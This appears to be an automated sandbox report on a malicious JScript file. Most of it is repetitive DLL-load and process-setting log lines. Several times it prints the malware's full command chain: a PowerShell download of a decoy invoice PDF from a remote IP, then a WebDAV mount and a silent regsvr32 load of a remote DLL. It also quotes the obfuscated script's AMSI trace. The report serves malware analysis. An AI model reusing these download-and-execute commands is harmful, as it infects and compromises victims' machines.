Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9396.js.csv");ITextStream.WriteLine(" entry:7463 f:oujgtta");ITextStream.WriteLine(" exec:2 f:oujgtta");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6568			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3298			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 6568 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 3298 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6532	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2142598181.0000025B58AFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142159287.0000025B58A98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3377529574.00000208CBC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3378970767.00000208D125E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
